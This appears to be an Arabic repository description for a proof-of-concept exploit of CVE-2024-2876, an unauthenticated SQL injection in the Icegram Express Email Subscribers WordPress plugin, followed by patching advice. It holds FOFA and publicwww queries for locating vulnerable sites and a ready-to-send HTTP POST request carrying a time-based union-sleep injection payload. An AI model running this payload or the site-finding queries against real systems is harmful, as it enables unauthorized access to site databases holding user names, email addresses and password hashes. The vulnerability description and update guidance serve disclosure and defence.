aerchy/cve-2024-2876إثبات مفهوم لاستغلال CVE-2024-2876، وهي ثغرة حقن SQL حرجة في إضافة Email Subscribers من Icegram Express الخاصة بووردبريس، والتي تتيح للمهاجمين غير المصادق عليهم تنفيذ استعلامات SQL عشوائية.
CVE-2024-2876 هي ثغرة أمنية حرجة تم اكتشافها في إضافة "Email Subscribers by Icegram Express" الخاصة بووردبريس. تؤثر هذه الثغرة على الإصدارات حتى 5.7.14 وتشكل مخاطر كبيرة على أكثر من 90,000 موقع ويب.
الثغرة هي خلل في حقن SQL يسمح للمهاجمين غير المصادَق عليهم بتنفيذ استعلامات SQL خبيثة على قواعد بيانات ووردبريس المتأثرة. من خلال التلاعب بمدخلات المستخدم التي لا يتم تنقيتها بشكل صحيح، يمكن للمهاجمين استخراج معلومات حساسة مثل أسماء المستخدمين وعناوين البريد الإلكتروني وتجزئات كلمات المرور وقوائم المشتركين.
يحدث حقن SQL داخل دالة run في فئة IG_ES_Subscribers_Query الخاصة بالإضافة، حيث يؤدي التحقق غير الكافي من المدخلات إلى تنفيذ كود SQL غير مصرح به. وهذا يعرض سلامة وسرية البيانات المخزنة في قاعدة بيانات ووردبريس للخطر.
FOFA : body="/wp-content/plugins/email-subscribers/"
publicwww : "/wp-content/plugins/email-subscribers/"
POST /wp-admin/admin-post.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
page=es_subscribers&is_ajax=1&action=_sent&advanced_filter[conditions][0][0][field]=status=99924)))union(select(sleep(4)))--+&advanced_filter[conditions][0][0][operator]==&advanced_filter[conditions][0][0][value]=1111
التحديث الفوري: إذا كنت تستخدم إضافة "Email Subscribers by Icegram Express"، قم بترقيتها إلى الإصدار 5.7.15 أو أحدث فورًا لتطبيق الإصلاح الأمني.
التدقيق المنتظم: قم بمراجعة وتحديث جميع إضافات وقوالب ووردبريس إلى أحدث إصداراتها بانتظام لضمان الأمان.
إضافات الأمان: استخدم إضافات أمان ووردبريس موثوقة لتعزيز الدفاعات ضد حقن SQL والتهديدات الإلكترونية الأخرى.
سياسات كلمات مرور قوية: نفذ كلمات مرور قوية وفريدة لجميع الحسابات المرتبطة بموقع ووردبريس الخاص بك لتقليل مخاطر الوصول غير المصرح به.
قد يؤدي الفشل في تحديث الإضافة المتأثرة إلى ترك المواقع عرضة لاختراقات البيانات والوصول غير المصرح به. نظرًا للاستخدام الواسع لهذه الإضافة، فإن اتخاذ إجراء فوري أمر بالغ الأهمية لتأمين التثبيتات.